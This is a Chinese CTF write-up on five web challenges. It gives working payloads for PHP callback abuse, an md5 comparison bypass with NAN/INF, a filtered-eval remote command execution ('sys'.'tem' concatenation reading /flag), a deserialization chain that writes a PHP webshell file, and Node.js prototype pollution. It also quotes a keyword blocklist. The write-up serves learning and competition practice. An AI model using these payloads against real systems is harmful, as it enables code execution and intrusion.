这次题目相对来说还是挺简单的,但是还是有很多自己的知识盲区,我太菜了,谢谢大佬们带飞。
easyphp
<?php
//题目环境:php:7.4.8-apache
$pid = pcntl_fork(); //创建一个子进程
//子进程和父进程都会执行以下代码
if ($pid == -1) { //错误处理,创建失败返回-1
die('could not fork');
}else if ($pid){
//父进程会获得子进程号,所以这里是父进程执行逻辑
$r=pcntl_wait($status); //等待子进程中断,防止子进程成为僵尸进程
if(!pcntl_wifexited($status)){ //挂起当前进行进程直到一个子进程退出或者收到一个信号要求中断当前进程或调用一个信号处理进程。
phpinfo();
}
}else if ($pid == 0){ //子进程pid为0,这里是子进程逻辑
highlight_file(__FILE__);
if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
call_user_func_array(call(pcntl_wait()))
}
posix_kill(posix_getpid(), SIGUSR1);
}
call_user_func_array ( callable
$callback
, array$param_arr
) : mixed把第一个参数作为回调函数(
callback
)调用,把参数数组作(param_arr
)为回调函数的的参数传入。
能够调用命令行的php函数:
1.string system(string $command[, int &$return_var])
# 函数执行 command 参数所指定的命令,并且输出执行结果
2.string exec(string $command[, array &$output[, int &$return_var]])
# exec() 执行 command 参数所指定的命令。
3.string shell_exec( string $command)
# 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
4.void passthru(string $command[, int &$return_var] )
# 执行外部程序并且显示原始输出。
5.``反引号
# 例如`ls`,反引号的内容就会被当做系统命令执行,内部就是执行了shell_exec()进行处理。
6.void pcntl_exec(string $path[, array $args[, array $envs]])
# pcntl是php的多进程处理进展,在处理大量任务的情况下会用到,pcntl需要额外安装。$path为可执行程序路径(/bin/bash)。$args表示传递给$path程序的参数。例如pcntl_exec("/bin/bash", array("whoami"));
7.resource popen( string $command, string $mode)
# 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。 例如popen('whoami >> 123.txt', 'r');
8.resource proc_open( string $cmd, array $descriptorspec, array &$pipes[, string $cwd[, array $env[, array $other_options]]])
# 执行一个命令,并且打开用来输入/输出的文件指针。类似 popen() 函数,但是 proc_open() 提供了更加强大的控制程序执行的能力。
其中三个参数的函数:
2.string exec(string $command[, array &$output[, int &$return_var]])
# exec() 执行 command 参数所指定的命令。
6.void pcntl_exec(string $path[, array $args[, array $envs]])
# pcntl是php的多进程处理进展,在处理大量任务的情况下会用到,pcntl需要额外安装。$path为可执行程序路径(/bin/bash)。$args表示传递给$path程序的参数。例如pcntl_exec("/bin/bash", array("whoami"));
都受到了限制。
方法1 子程序不正常退出调用phpinfo();
stream_socket_client ( string
$remote_socket
[, int&$errno
[, string&$errstr
[, float$timeout
= ini_get(“default_socket_timeout”) [, int$flags
= STREAM_CLIENT_CONNECT [, resource$context
]]]]] ) : resource
- $remote_socket 要连接的套接字地址。
- $errno 如果连接失败,将被设置为系统级错误号。
- $errstr 如果连接失败,将被设置为系统级错误消息。
- $timeout 直到connect()系统调用应超时的秒数。
/?a=stream_socket_client$b=123
方法2 子程序被挂起调用phpinfo();
老套娃了。
/?a=call_user_func&b=pcntl_wait
easytrick
<?php
class trick{
public $trick1;
public $trick2;
public function __destruct()
{
$this->trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5)
{
die("你太长了");
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2)
{
echo file_get_contents("/flag");
}
}
}
只有__destruct()函数,在函数被销毁时调用,两个WAF,长度限制和php的md5绕过。
在php中===为完全等于运算,不仅比较值,而且还比较值的类型,只有两者一致才为真。
需要满足三个要求:
trick1 !== trick2
md5(trick1) === md5(trick2)
trick1 != trick2
先来看看常见的绕过方法:
- md5加密后生成的字符串为”0e”开头,每个哈希值都解释为0。这里受到长度限制以及类型限制。
- md5([1,2,3]) == md5([4,5,6]) == NULL。这里存在strlen()函数,传入的的对象只能是字符串不能是数组。
- MD5碰撞。长度过长。
方法1 浮点数松散比较绕过
利用php浮点数特性,
- 最大相对误差为 1.11e-16。如1.1*1.1=1.2100000000000002。
- 作为md5字符串时忽略了剩下精度。
方法2 NAN(INF)类型比较绕过
参考了y1ng师傅的博客。
NAN和INF,分别为非数字和无穷大。
但是var_dump一下它们的数据类型却是double,那么在md5函数处理它们的时候,是将其直接转换为字符串”NAN”和字符串”INF”使用的,但是它们拥有特殊的性质,它们与任何数据类型(除了true)做强类型或弱类型比较均为false,甚至NAN==NAN都是false。
通过这个性质,可以令trick1=”NAN”,trick2=NAN。
rceme
<?php
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);
function danger_key($s) {
$s=htmlspecialchars($s);
$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
$s = str_ireplace($key,"*",$s);
$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
foreach ($danger as $val){
if(strpos($s,$val) !==false){
die('很抱歉,执行出错,发现危险字符【'.$val.'】');
}
}
if(preg_match("/^[a-z]$/i")){
die('很抱歉,执行出错,发现危险字符');
}
return $s;
}
function parserIfLabel( $content ) {
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
if ( preg_match_all( $pattern, $content, $matches ) ) {
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];
$ifstr=danger_key($ifstr,1);
if(strpos($ifstr,'=') !== false){
$arr= splits($ifstr,'=');
if($arr[0]=='' || $arr[1]==''){
die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
}
$ifstr = str_replace( '=', '==', $ifstr );
}
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'or', '||', $ifstr );
$ifstr = str_replace( 'and', '&&', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr = str_replace( 'not', '!', $ifstr );
if ( preg_match( '/\{|}/', $ifstr)) {
die('很抱歉,模板中有错误的判断,请修正'.$ifstr);
}else{
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
}
if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
switch ( $flag ) {
case 'if':
if ( isset( $matches2[ 1 ] ) ) {
$out_html .= $matches2[ 1 ];
}
break;
case 'else':
if ( isset( $matches2[ 2 ] ) ) {
$out_html .= $matches2[ 2 ];
}
break;
}
} elseif ( $flag == 'if' ) {
$out_html .= $matches[ 2 ][ $i ];
}
$pattern2 = '/\{if([0-9]):/';
if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
$out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
$out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
$out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
$out_html = $this->parserIfLabel( $out_html );
}
$content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
}
}
return $content;
}
function splits( $s, $str=',' ) {
if ( empty( $s ) ) return array( '' );
if ( strpos( $s, $str ) !== false ) {
return explode( $str, $s );
} else {
return array( $s );
}
}
bypass题,payload挺多的,不赘述了。
?a={if:var_dump(sha1(1))}asdf{end if}
?a={if:var_dump(('ph'.'pinfo')())}asdf{end if}
?a={if:var_dump(('sys'.'tem')('cat /flag'))}asdf{end if}
babyunserialize
参考y1ng师傅博客。
扫出源码www.zip。
jig.php存在任意写,直接getshell。
<?php
namespace DB;
class Jig {
const
FORMAT_JSON=0,
FORMAT_Serialized=1;
protected
//! Storage location
$dir = '/var/www/html/',
//! Current storage format
$format = self::FORMAT_JSON,
//! Jig log
$data = array("y1ng.php"=>array("a"=>"<?php phpinfo();?>")),
//! lazy load/save files
$lazy = 1;
}
$jig = new Jig();
echo urlencode(serialize($jig));
littlegame
存在NodeJS原型链污染。
router.post("/DeveloperControlPanel", function (req, res, next) {
// not implement
if (req.body.key === undefined || req.body.password === undefined){
res.send("What's your problem?");
}else {
let key = req.body.key.toString();
let password = req.body.password.toString();
if(Admin[key] === password){
res.send(process.env.flag);
}else {
res.send("Wrong password!Are you Admin?");
}
}
});
router.get('/SpawnPoint', function (req, res, next) {
req.session.knight = {
"HP": 1000,
"Gold": 10,
"Firepower": 10
}
res.send("Let's begin!");
});
router.post("/Privilege", function (req, res, next) {
// Why not ask witch for help?
if(req.session.knight === undefined){
res.redirect('/SpawnPoint');
}else{
if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
res.send("What's your problem?");
}else {
let key = req.body.NewAttributeKey.toString();
let value = req.body.NewAttributeValue.toString();
setFn(req.session.knight, key, value);
res.send("Let's have a check!");
}
}
});
Privilege路由下可以使用set-value给session里的属性赋值,然后想要得到flag则是需要判断Admin下某个用户可控的属性和用户提供的password是否相等。
直接梭哈。
{"NewAttributeKey":"__proto__.123","NewAttributeValue":"123456"}
{"key":"123","password":"123456"}